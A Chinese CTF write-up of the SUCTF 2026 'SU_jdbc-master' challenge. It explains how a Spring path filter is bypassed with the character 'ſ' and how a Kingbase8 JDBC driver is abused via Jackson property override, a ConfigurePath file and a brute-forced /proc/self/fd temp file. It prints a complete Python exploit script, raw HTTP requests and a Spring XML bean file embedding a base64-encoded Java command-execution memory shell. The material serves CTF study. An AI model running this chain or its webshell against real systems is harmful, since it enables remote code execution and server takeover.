本文首发于先知社区:https://xz.aliyun.com/news/91821

环境搭建

SU_jdbc-master.zip

1
2
docker build -t jdbc-master .
docker-compose up

wp

学习!

鉴权绕过

明显的jdbc入口点

image.png

不过这里有个鉴权,首先是将PathInterceptor 这个拦截器注册进spring mvc中,拦截的所有路径

image.png

然后看看拦截规则,简单的就是匹配到suctf这几个字符就403即上面的jdbc入口点,这里对特殊字符也进行了过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
public class PathInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HttpServletRequest r = request;
HttpServletResponse res = response;
String servletPath = r.getServletPath();
if (servletPath != null && (servletPath.matches("(?i).*s\\W*u\\W*c\\W*t\\W*f.*") || servletPath.toLowerCase().contains("suctf") || servletPath.toLowerCase().replaceAll("[^a-z0-9]", "").contains("suctf"))) {
res.setStatus(403);
res.getWriter().write("blocked by filter");
return false;
}
return true;
}
}

这里在WebConfig下有个配置matcher.setCaseSensitive(false); 即将caseSensitive 设置为了false,表示路由匹配不区分大小写,所以在匹配suctf的时候用的是equalsIgnoreCase 代表忽略大小写

image.png

这里绕过思路就是在路由匹配的时候能够匹配到suctf,而在做鉴权匹配到时候匹配不到suctf,AntPathMatcher 这里代表的是路由匹配器,先跟一下路由匹配逻辑

这里首先获取注册的路由,然后逐个和传入路由做匹配

image.png

然后equals一下匹配上了就返回了,没匹配上走else逻辑这里useSuffixPatternMatch 是false,不知道是不是默认的不过不重要,不会走这里的逻辑

image.png

跟进到match 中调用了doMatch 方法

image.png

中间的逻辑不细跟了最终调用matchStrings 方法

image.png

再跟进一下matchStrings 方法就到了一开始看的这儿了

image.png

跟进到equalsIgnoreCase 逻辑如果this和传入的不匹配就会进入regionMatches 中,这里this猜测是和传入的路由一个个匹配没匹配上就走后面的逻辑,没细跟这里

image.png

然后来到regionMatches ,这里用实际绕过的字符跟

image.png

总共3个条件不为空,和实际要匹配的长度一样,然后就是regionMatches返回true就算匹配上了

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public boolean regionMatches(boolean ignoreCase, int toffset,
String other, int ooffset, int len) {
char ta[] = value;
int to = toffset;
char pa[] = other.value;
int po = ooffset;
// Note: toffset, ooffset, or len might be near -1>>>1.
if ((ooffset < 0) || (toffset < 0)
|| (toffset > (long)value.length - len)
|| (ooffset > (long)other.value.length - len)) {
return false;
}
while (len-- > 0) {
char c1 = ta[to++];
char c2 = pa[po++];
if (c1 == c2) {
continue;
}
if (ignoreCase) {
// If characters don't match but case may be ignored,
// try converting both characters to uppercase.
// If the results match, then the comparison scan should
// continue.
char u1 = Character.toUpperCase(c1);
char u2 = Character.toUpperCase(c2);
if (u1 == u2) {
continue;
}
// Unfortunately, conversion to uppercase does not work properly
// for the Georgian alphabet, which has strange rules about case
// conversion. So we need to make one last check before
// exiting.
if (Character.toLowerCase(u1) == Character.toLowerCase(u2)) {
continue;
}
}
return false;
}
return true;
}

这里的逻辑就是先原样匹配一下,没匹配上进入if,然后转大写匹配匹配上了就下一个字符做匹配,没匹配上就转小写再匹配匹配上了就下一个字符继续匹配,没匹配上就返回false了,即这里只要大小写其中一个能匹配上就行

image.png

很明显这里ſ 转大写后就是S 就能匹配上路由,再看鉴权那里的逻辑

image.png

全都是转小写,自然而然就能绕过了

JDBC利用

首先这里对jdbcurl有一层过滤,这里可以直接去掉/进行绕过如**jdbc:kingbase8:127.0.0.1:54321/test?a=1**或者不加IP和端口也行,会自己添加一个默认的

1
2
3
4
5
6
7
8
9
10
11
12
13
private void validateJdbcUrl(String jdbcUrl) throws UnsupportedEncodingException {
if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
throw new IllegalArgumentException("jdbcUrl is empty");
}
if (jdbcUrl.trim().toLowerCase().contains(":/") || jdbcUrl.trim().toLowerCase().contains("/?")) {
throw new IllegalArgumentException("Cannot contain special characters");
}
String jdbcUrlLower = jdbcUrl.toLowerCase();
for (String illegal : ILLEGAL_PARAMETERS) {
if (!jdbcUrlLower.contains(illegal.toLowerCase())) continue;
throw new IllegalArgumentException("Illegal parameter: " + illegal);
}
}

ILLEGAL_PARAMETERS过滤如下

1
2
private static final List<String> ILLEGAL_PARAMETERS = Arrays.asList("socketFactory", "socketFactoryArg", "sslfactory", "sslhostnameverifier", "sslpasswordcallback", "authenticationPluginClassName", "loggerFile", "loggerLevel");

两种过滤一个黑名单一个连接格式,这里给了两个jdbc的jar一个pgsql一个kingbase8,pgsql在42.3.6已经没法利用了,因为加了一个
SocketFactory

image.png

然后检测是否是其子类

image.png

所以得看kingbase8,是pgsql的国产版,估计就是漏洞没修,但是默认获取的driver是pgsql的

image.png

这里是用的Jackson readValue进行反序列化有个Jackson反序列化的trick,反序列化的时候会调用反序列化类的setter方法,当传入的值中有driver就是设置为其传入的,没有就是默认的所以这里能造成属性值覆盖,没传入driver时只会调用其getter方法

image.png

当传入driver时就只会调用其setter方法

image.png

从而就能覆盖原本默认的pgsql的driver,总结如下

Jackson(以及其他大多数 JSON 反序列化框架)的工作方式是:

  • 先创建对象实例(会执行默认值初始化)。
  • 再根据 JSON 中的字段进行赋值。
  • 如果 JSON 中有某个字段,它会覆盖对象的默认值。
  • 如果 JSON 中没有某个字段,则对象的该字段会保留默认值。

然后就是绕过利用的黑名单,这里黑名单ban的就是CVE-2022-21724利用,这里跟进kingbase8的driver中可以看到能够从文件中加载属性进行初始化,跟进initJDBCCONF 函数

image.png

可以看到读取了文件进行加载

image.png

先随便用一组数据测试

1
2
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=http://127.0.0.1:50025/1.xml

最终会来到如下位置

image.png

跟进发现最终会实例化socketFactory的参数,但是这里只能从本地加载数据,怎么传入我们想让其实例化的类呢?这里就是典型的没有上传场景怎么写入恶意数据到服务器中,参考https://xz.aliyun.com/news/17830可以利用这篇文章中的trick,写入临时文件通过文件描述符爆破即可,写入的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="poc" class="java.lang.String">
<constructor-arg value="
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp
" />
</bean>
</beans>

数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /api/connection HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 1296800

--xxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="poc" class="java.lang.String">
<constructor-arg value="
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp
" />
</bean>
</beans>

发完包后该文件生成成功,当请求结束该文件消失

image.png

其内容即我们上传的东西

image.png

后续就是利用p神的ClassPathXmlApplicationContext不出网利用方式即可,或者用wp中的类也行,形式如下

image.png

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import socket
import threading
import time
import requests
import json
from concurrent.futures import ThreadPoolExecutor, as_completed

HOST = "127.0.0.1"
PORT = 8080
URL = HOST + ":" + str(PORT)

import socket
import time

def cache_tmp(fileName):
filepath = fileName
with open(filepath, "rb") as f:
raw_data = f.read().strip()
data_hex = raw_data.hex()
a = data_hex
a = (
b"""POST /api/connection HTTP/1.1
Host: """
+ URL.encode()
+ b"""
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 1296800

--xxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

{{payload}}
""".replace(
b"\n", b"\r\n"
).replace(
b"{{payload}}", bytes.fromhex(a) + b"\n" * 1024 * 124
)
)
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(a)
time.sleep(1111111)

def exp():
url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf"
headers = {
"Host": URL,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"X-Authorization": "ls /",
"Content-Type": "application/json",
}

def send_request(fd):
print(f"当前爆破到fd: {fd}")
named_pipe_path = f"/proc/self/fd/{fd}"
payload = {
"urlType": "jdbcUrl",
"driver": "com.kingbase8.Driver",
"jdbcUrl": f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
"username": "postgres",
"password": "your_password",
}
payload_json = json.dumps(payload).encode("utf-8")
headers["Content-Length"] = str(len(payload_json))
try:
print(f"[exp] POST with fd={fd}")
with requests.Session() as sess:
r = sess.post(url, headers=headers, data=payload_json, timeout=5)
print(r.text)
time.sleep(2)
return f"[exp] fd={fd} -> {r.status_code} len={len(r.content or b'')}"
except Exception as e:
return f"[exp] fd={fd} -> exception: {e}"

with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_request, fd): fd for fd in range(1, 1000)}
for future in as_completed(futures):
print(future.result())

t1 = threading.Thread(target=cache_tmp, args=("./evil.txt",))
t1.start()
time.sleep(1)
t2 = threading.Thread(target=cache_tmp, args=("./exp.xml",))
t2.start()
time.sleep(1)
exp()

回显马xml文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBOwEAWW9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL1J1bnRpbWVKc29uTWFwcGluZ0V4Y2VwdGlvbmJkZDg2N2FkM2U2ZDQ3YWI4YjNkMjE3M2U5ZTQ0YWEyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAcMAAUABgoABAAJAQADcnVuDAALAAYKAAIADAEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD1gtQXV0aG9yaXphdGlvbggAEAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAEgEAE2phdmEvbGFuZy9UaHJvd2FibGUHABQBABBqYXZhL2xhbmcvVGhyZWFkBwAWAQAKZ2V0VGhyZWFkcwgAGAEAD2phdmEvbGFuZy9DbGFzcwcAGgEAEltMamF2YS9sYW5nL0NsYXNzOwcAHAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAHgAfCgAbACABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACIBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAJAAlCgAjACYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACgAKQoAIwAqAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcALAEAB2dldE5hbWUMAC4ADwoAFwAvAQAEaHR0cAgAMQEAEGphdmEvbGFuZy9TdHJpbmcHADMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwANQA2CgA0ADcBAAhBY2NlcHRvcggAOQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAOwA8CgAEAD0BAAZ0YXJnZXQIAD8BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABBAEIKABsAQwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwBFCgBGACYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwASABJCgBGAEoBAAhlbmRwb2ludAgATAEABnRoaXMkMAgATgEAB2hhbmRsZXIIAFABAA1nZXRTdXBlcmNsYXNzDABSADwKABsAUwEABmdsb2JhbAgAVQEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAVwBYCgAbAFkBACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvCABbAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwBdAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAXwBgCgBeAGEKABsALwEACnByb2Nlc3NvcnMIAGQBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwBmAQAEc2l6ZQEAAygpSQwAaABpCgBnAGoBABUoSSlMamF2YS9sYW5nL09iamVjdDsMAEgAbAoAZwBtAQADcmVxCABvAQAHZ2V0Tm90ZQgAcQEAEWphdmEvbGFuZy9JbnRlZ2VyBwBzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAB1AHYJAHQAdwEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DAB5AHoKAHQAewEACWdldEhlYWRlcggAfQEACWdldE1ldGhvZAwAfwAfCgAbAIAMAA4ADwoAAgCCAQALZ2V0UmVzcG9uc2UIAIQBAAlnZXRXcml0ZXIIAIYBAA5qYXZhL2lvL1dyaXRlcgcAiAEABmhhbmRsZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACKAIsKAAIAjAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDACOAI8KAIkAkAEABWZsdXNoDACSAAYKAIkAkwEABWNsb3NlDACVAAYKAIkAlgEABGV4ZWMBAAdvcy5uYW1lCACZAQAQamF2YS9sYW5nL1N5c3RlbQcAmwEAC2dldFByb3BlcnR5DACdAIsKAJwAngEAC3RvTG93ZXJDYXNlDACgAA8KADQAoQEAA3dpbggAowEABy9iaW4vc2gIAKUBAAItYwgApwEAB2NtZC5leGUIAKkBAAIvYwgAqwEAEWphdmEvbGFuZy9SdW50aW1lBwCtAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwArwCwCgCuALEBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DACYALMKAK4AtAEAEWphdmEvbGFuZy9Qcm9jZXNzBwC2AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAuAC5CgC3ALoBABFqYXZhL3V0aWwvU2Nhbm5lcgcAvAEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwABQC+CgC9AL8BAAJcYQgAwQEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAwwDECgC9AMUBAAAIAMcBAAdoYXNOZXh0AQADKClaDADJAMoKAL0AywEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwDNCgDOAAkBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMANAA0QoAzgDSAQAEbmV4dAwA1AAPCgC9ANUBAAh0b1N0cmluZwwA1wAPCgDOANgBAApnZXRNZXNzYWdlDADaAA8KAAgA2wEAE1tMamF2YS9sYW5nL1N0cmluZzsHAN0BABNqYXZhL2lvL0lucHV0U3RyZWFtBwDfAQAGZXlKZVhBCADhAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgwA4wDkCgA0AOUBAAZsZW5ndGgMAOcAaQoANADoAQAGY2hhckF0AQAEKEkpQwwA6gDrCgA0AOwBABUoQylMamF2YS9sYW5nL1N0cmluZzsMAHkA7goANADvAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkMAPEA8goAdADzAQABLggA9QEAB2luZGV4T2YMAPcA8goANAD4AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwwA+gD7CgA0APwBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDAD+AP8KAAIBAAEAAXgBAAYoW0IpW0IMAQIBAwoAAgEEAQAFKFtCKVYMAAUBBgoANAEHAQAGLzlqLzRBCAEJDACYAIsKAAIBCwEACGdldEJ5dGVzAQAEKClbQgwBDQEOCgA0AQ8BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7DAERARIKAAIBEwEABS85az09CAEVAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBFwEAB2Zvck5hbWUMARkAYAoAGwEaAQAMZGVjb2RlQnVmZmVyCAEcAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwBHgEfCgAbASABAAJbQgcBIgEAEGphdmEudXRpbC5CYXNlNjQIASQBAApnZXREZWNvZGVyCAEmAQAGZGVjb2RlCAEoAQAKZ2V0RW5jb2RlcggBKgEAE1tMamF2YS9sYW5nL09iamVjdDsHASwBAA5lbmNvZGVUb1N0cmluZwgBLgEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIIATABAAZlbmNvZGUIATIBAA8/Pz8/Pz8/Pz8/Pz8/Pz8IATQBAAg8Y2xpbml0PgoAAgAJAQAEQ29kZQEACkV4Y2VwdGlvbnMBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAAAJAAEABQAGAAIBOAAAABUAAQABAAAACSq3AAoqtwANsQAAAAABOQAAAAQAAQAIAAIADgAPAAEBOAAAAA8AAQABAAAAAxIRsAAAAAAAAgALAAYAAQE4AAADKQAGAAsAAAJGEhcSGQO9ABvAAB22ACFMKwS2ACcrAQO9AAS2ACvAAC3AAC3AAC1NAz4dLL6iAhUsHTK2ADASMrYAOJkCASwdMrYAMBI6tgA4mQHzLB0ytgA+EkC2AEQ6BBkEBLYARxkELB0ytgBLOgUZBbYAPhJNtgBEOgSnABE6BhkFtgA+Ek+2AEQ6BBkEBLYARxkEGQW2AEs6BRkFtgA+ElG2AEQ6BKcAKzoGGQW2AD62AFQSUbYARDoEpwAXOgcZBbYAPrYAVLYAVBJRtgBEOgQZBAS2AEcZBBkFtgBLOgUZBbYAPhJWtgBEOgSnABQ6BhkFtgA+tgBUEla2AEQ6BBkEBLYARxkEGQW2AEs6BRkFtgA+tgBaEly2AGJXGQW2AD62AGMSXLYAOJkBFxkFtgA+EmW2AEQ6BBkEBLYARxkEGQW2AEvAAGc6BgM2BxUHGQa2AGuiAOwZBhUHtgButgA+EnC2AEQ6BBkEBLYARxkEGQYVB7YAbrYAS7YAPhJyBL0AG1kDsgB4U7YAIRkEGQYVB7YAbrYASwS9AARZAwS4AHxTtgArOgUZBBkGFQe2AG62AEu2AD4SfgS9ABtZAxI0U7YAgRkEGQYVB7YAbrYASwS9AARZAyq3AINTtgArwAA0OggZCMYATxkFtgA+EoUDvQAbtgAhGQUDvQAEtgArOgkZCbYAPhKHA70AG7YAgRkJA70ABLYAK8AAiToKGQoZCLgAjbYAkRkKtgCUGQq2AJenAA6nAAU6CYQHAaf/EIQDAaf966cABEyxAAYAaAB0AHcAEwCUAKAAowATAKUAtAC3ABMA2gDmAOkAEwGjAi0CMwAIAAACQQJEABUAAQE6AAAAoQAQ/gApBwAjBwAtAf8ATQAGBwACBwAjBwAtAQcARgcABAABBwATDV0HABP/ABMABwcAAgcAIwcALQEHAEYHAAQHABMAAQcAE/oAE10HABMQ/QBNBwBnAfwA5wcANP8AAgAIBwACBwAjBwAtAQcARgcABAcAZwEAAQcACAH/AAUABAcAAgcAIwcALQEAAAX/AAIAAQcAAgABBwAV/AAABwAEAAoAmACLAAEBOAAAAOMABAAHAAAAkwQ8Epq4AJ9NLMYAESy2AKISpLYAOJkABQM8G5kAGAa9ADRZAxKmU1kEEqhTWQUqU6cAFQa9ADRZAxKqU1kEEqxTWQUqU064ALIttgC1tgC7OgS7AL1ZGQS3AMASwrYAxjoFEsg6BhkFtgDMmQAfuwDOWbcAzxkGtgDTGQW2ANa2ANO2ANk6Bqf/3xkGsEwrtgDcsAABAAAAjACNAAgAAQE6AAAANgAG/QAaAQcANBhRBwDe/wAgAAcHADQBBwA0BwDeBwDgBwC9BwA0AAAj/wACAAEHADQAAQcACAAKAIoAiwACATgAAAC4AAYABgAAAI8S4kwBTSortgDmmQCAKiu2AOm2AO24APC4APQ+AzYEAzYFFQUdogAbFQQqK7YA6QRgFQVgtgDtYDYEhAUBp//luwA0WSortgDpBGAdYBUEYCoS9rYA+bYA/bgBAbgBBbcBCE27AM5ZtwDPEwEKtgDTLLgBDLYBELgBBbgBFLYA0xMBFrYA07YA2bAquAEMsAAAAAEBOgAAABcAA/8AIgAGBwA0BwA0BQEBAQAAHfgASQE5AAAABAABAAgACgD+AP8AAgE4AAAAjwAGAAQAAABvEwEYuAEbTCsTAR0EvQAbWQMSNFO2AIErtgEhBL0ABFkDKlO2ACvAASPAASOwTBMBJbgBG00sEwEnA70AG7YAgQEDvQAEtgArTi22AD4TASkEvQAbWQMSNFO2AIEtBL0ABFkDKlO2ACvAASPAASOwAAEAAAAsAC0ACAABAToAAAAGAAFtBwAIATkAAAAEAAEACAAJAREBEgACATgAAACvAAYABQAAAHoBTBMBJbgBG00sEwErAcAAHbYAgSwBwAEttgArTi22AD4TAS8EvQAbWQMTASNTtgCBLQS9AARZAypTtgArwAA0TKcAN04TATG4ARtNLLYBIToEGQS2AD4TATMEvQAbWQMTASNTtgCBGQQEvQAEWQMqU7YAK8AANEwrsAABAAIAQQBEAAgAAQE6AAAAGwAC/wBEAAIHASMHADQAAQcACP0AMwcAGwcABAE5AAAABAABAAgACQECAQMAAQE4AAAASQAGAAQAAAAqEwE1tgEQTCq+vAhNAz4dKr6iABcsHSodMysdK75wM4KRVIQDAaf/6SywAAAAAQE6AAAADQAC/gAOBwEjBwEjARkACAE2AAYAAQE4AAAALgACAAEAAAANuwACWbcBN1enAARLsQABAAAACAALAAgAAQE6AAAABwACSwcACAAAAA==</value>

</list>

</property>

</bean>

<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="5128"/>
</bean>

<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>

两个临时文件触发不是很稳定,没成功就重新生成一个新容器

参考

https://mp.weixin.qq.com/s/sqOEWVEyu9QHaSNsfByNUQ

https://github.com/team-su/SUCTF-2026/tree/main/web/SU_jdbc-master/exp